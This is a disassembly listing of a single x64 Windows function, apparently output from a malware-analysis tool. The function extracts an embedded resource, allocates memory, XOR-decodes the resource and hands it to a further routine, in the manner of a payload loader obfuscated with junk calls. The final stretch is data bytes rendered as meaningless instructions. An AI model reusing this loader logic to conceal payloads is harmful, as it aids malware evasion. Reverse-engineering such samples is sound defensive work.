Function at 0x140002ce0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov rdi, rcx
mov r15, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400071d0], r15
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400071d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebp, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x34], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x34]
mov rcx, rbx
call fcn.140002ae0
mov rdi, rax
mov ecx, 0x1000
call fcn.140002ae0
mov rsi, rax
mov ecx, 4
mov edx, 0xd
mov r8d, 0xec
mov r9d, ebp
call fcn.140002ae0
xor ecx, ecx
mov rdx, rdi
mov r8d, esi
mov r9d, eax
call r15
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov rdx, r14
mov r8, rbx
call fcn.140002ab0
mov rsi, qword [rsp + 0x38]
xor ecx, ecx
mov edx, ebp
call fcn.140002ae0
mov ecx, dword [rsp + 0x34]
test rsi, rsi
je 0x140003195
cmp ecx, eax
je 0x140003195
mov ecx, 5
mov edx, 0x1171be13
call fcn.140002ae0
mov ecx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x58], rdx
cmp ecx, eax
jbe 0x1400031ef
mov rax, qword [rsp + 0x38]
mov esi, dword [rax]
mov ecx, 0x2e786f72
mov r8d, 0x4f7646
mov edx, esi
call fcn.140002ae0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x58], rcx
cmp esi, eax
jne 0x1400031ef
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x4c], ecx
movzx edx, byte [rsp + 0x33]
mov r8d, 7
xor ecx, ecx
call fcn.140002ae0
mov rsi, rax
movzx ebx, byte [rsp + 0x33]
movzx r9d, byte [rsp + 0x33]
mov ecx, 4
mov edx, 0xf6
mov r8d, 0x3bfa2d
call fcn.140002ae0
mov ecx, dword [rsp + 0x4c]
cmp bl, sil
je 0x140003200
cmp ecx, eax
jle 0x140003200
movzx eax, byte [rsp + 0x33]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rdx
mov ecx, 4
mov r8, rdx
mov r9, rdx
call fcn.140002ae0
add rax, qword [rsp + 0x40]
add rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x40]
mov ecx, 0xfffffffb
mov r8d, 0x4669b0
call fcn.140002ae0
mov rsi, rax
add esi, dword [rsp + 0x4c]
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0x20], r8
mov ecx, 2
mov edx, 0xffca66
mov r9, r8
call fcn.140002ae0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x58], rcx
cmp esi, eax
jb 0x1400031ef
mov qword [rsp + 0x20], 0x440704
mov ecx, 0xfffffffc
mov edx, 0x8d
mov r8d, 0x322425a0
mov r9d, 0xcc
call fcn.140002ae0
mov rsi, rax
add esi, dword [rsp + 0x4c]
mov qword [rsp + 0x98], rsi
mov dword [rsp + 0x20], esi
mov ecx, 1
mov r8d, 0x36
mov r9d, 0x1c03bd
mov edx, esi
call fcn.140002ae0
xor ecx, ecx
cmp al, byte [rsp + 0x33]
adc rcx, 1
mov qword [rsp + 0xa0], rcx
mov ecx, 1
mov edx, 0xe8
mov r8d, esi
mov r9d, esi
call fcn.140002ae0
and rax, qword [rsp + 0x98]
mov qword [rsp + 0xb0], rax
mov ecx, 3
mov edx, 0xc0
mov r8d, 0x68
call fcn.140002ae0
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x68], 2
cmp esi, eax
je 0x14000313c
mov edx, 0xdc021b
mov rcx, 0xfffffffffffffffe
call fcn.140002ae0
mov rsi, rax
add rsi, qword [rsp + 0x98]
mov qword [rsp + 0x20], rsi
mov edx, 0xd4
mov rcx, 0xfffffffffffffffe
mov r8, rsi
mov r9, rsi
call fcn.140002ae0
and rax, rsi
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x80], 2
mov qword [rsp + 0x78], 0
xor r14d, r14d
nop dword [rax]
mov r15, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
cmp rsi, qword [rsp + 0x40]
mov ebx, 0
cmovb rbx, rsi
mov rax, qword [rsp + 0x50]
movzx ecx, byte [rax + rbp]
mov rdx, qword [rsp + 0x60]
xor cl, byte [rdx + rbx]
mov byte [rax + rbp], cl
mov ecx, 1
mov edx, 4
mov r8d, 0x7c
mov r9d, 0xba68b1
call fcn.140002ae0
mov rdi, rax
add rdi, rbx
mov ecx, 1
mov edx, 0xf9
mov r8, rsi
call fcn.140002ae0
or rax, rbp
cmp rdi, qword [rsp + 0x40]
cmovae rdi, r14
mov rcx, qword [rsp + 0x50]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x60]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov ecx, 1
mov edx, 0xc5cf56
mov r8d, 0x2e036f
call fcn.140002ae0
mov rbx, rax
add rbx, rdi
mov ecx, 2
mov edx, 0x97
mov r8, rsi
call fcn.140002ae0
mov rsi, rax
add rsi, rbp
mov ecx, 2
mov edx, 0x3b
call fcn.140002ae0
add rax, r15
cmp rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
jne 0x140003040
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa8], rax
mov edx, 0x81
xor ecx, ecx
call fcn.140002ae0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x58], rdx
cmp rcx, rax
je 0x1400031ef
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xa8]
cmp rcx, rax
jae 0x1400031c6
mov rax, qword [rsp + 0xa8]
jmp 0x1400031c8
mov edx, 0xd86216
xor ecx, ecx
call fcn.140002ae0
lea rdx, [0x1400061b3]
xor ecx, ecx
xor r8d, r8d
mov r9d, eax
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0xc0]
movzx ebx, byte [rcx + rdx]
mov rbp, qword [rsp + 0x60]
xor bl, byte [rbp + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
lea rdx, str.5vL95_b98r3z_Opp6nr58
call fcn.140001000
mov rcx, qword [rsp + 0x90]
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
sysexit
invalid
mov bl, 0x61
pop rcx
wait
invalid
jno 0x14000c89d
fild dword [rsi]
out 0x28, eax
clc
or al, byte [rdx]
or byte [rbp], dl
xor byte [0x12006fd85], bh
add byte [rax], dh
xor byte [0x12006fd85], bh
int 0x6f
jle 0x14000c99d
mov bh, 0xa
sub ch, 0x90
xchg esi, eax
movabs dword [0xa52233ac88b3f4d0], eax
xor esp, dword [rdx]
movsd dword [rdi], dword [rsi]
xor esp, dword [rdx]
movsd dword [rdi], dword [rsi]
invalid
div dword [rax - 0x2ba533e2]
jl 0x14000c938
insb byte [rdi], dx
fldcw word [rdx - 0x2b]
mov edx, dword [rbp + 0x662129e9]
adc dword [rcx - 0xb], ebx
cmc
cmc
invalid
jbe 0x14000c91f
xchg ebx, eax
sbb al, byte [rdx + 0x52cd7d1f]
adc ch, byte [rdx + 0x6487ee3e]
xchg dword [rsp + rdi*4 - 0x43], esp
add dh, byte [rbp + rdi + 0x74]
je 0x14000c9b6
je 0x14000c9da
xchg dword [rsp + rdi*4 - 0x43], esp
add dh, byte [rbp + rdi + 0x74]
je 0x14000c9b6
je 0x14000c9da
mov ah, 0x94
mov edi, 0x2f3c1e05
or al, 0xeb
jnp 0x14000c964
invalid
mov esp, 0xc0067cb1
sub al, 0xb
sbb eax, 0xbbe443df
pop rbp
push rbx
xchg edi, eax
lodsb al, byte [rsi]
fist word [rax + rbp*4]
in eax, 0xb1
not dword [rsi]
invalid
sub dh, ch
sal byte [rdx], cl
invalid
invalid
out dx, al
test esp, ecx
jnp 0x14000c9c0
xchg qword [r10], rcx
add byte [rdx], bl
out 0x7c, eax
push rcx
add byte [rax], dl
cmp eax, 0xcbca2500
mov edx, 0xcc80bd6f
int3
sbb dh, byte [rbx]
invalid
int3
adc bl, 1
pop rdi
sub al, 0x2e
std
shr byte [rsi - 0x5d432682], cl
scasb al, byte [rdi]
jle case.0x140003217.10
mov esp, 0x6dff46a2
invalid
scasb al, byte [rdi]
jle case.0x140003217.10
fnstcw word [rdx + riz*4 + 0x7f6dff46]
out dx, al
mov esp, 0x6dff46a2
jg 0x14000c9d0
jle 0x14000c98d
iretd
pushfq
xor dword [rsi], 0x2c
inc cl
pop rdx
invalid
or eax, 0x3250352
lodsb al, byte [rsi]
fnsave dword [rsi]
xchg dword [rbp + 0x50], ebp
jne 0x14000ca2a
invalid
and ah, dh
sbb dword [rax + 0x698541ca], esi
sub dword [rax], edx
int3
stc
push 0xffffffffffffffc2
imul eax, dword [0x1b8a5f63b], 0xcca3aef6
cdq
or ecx, edi
movsd dword [rdi], dword [rsi]
js 0x14000ca23
scasb al, byte [rdi]
movabs dword [0xc6c2d1f9096799cc], eax
invalid
cmp bh, byte [rdi - 6]
jg 0x14000ca34
add dword [rax + 0x36], ebx
invalid
or byte [rdx], 0
or byte [0xfac0ca81], bl
out dx, eax
adc al, 0
call 0x18106afa1
in eax, 5
retf
in eax, 5
retf
xchg ebp, eax
invalid
mov ebp, dword [rdi - 0x11]
jns 0x14000caa9
invalid
cmp byte [rdi - 0x37], r11b
sub al, 0x49
sbb ax, 0x8a59
and edx, dword [rbp - 0x59]
test byte [rdi - 0x3d], r14b
push rsp
push rsi
invalid
invalid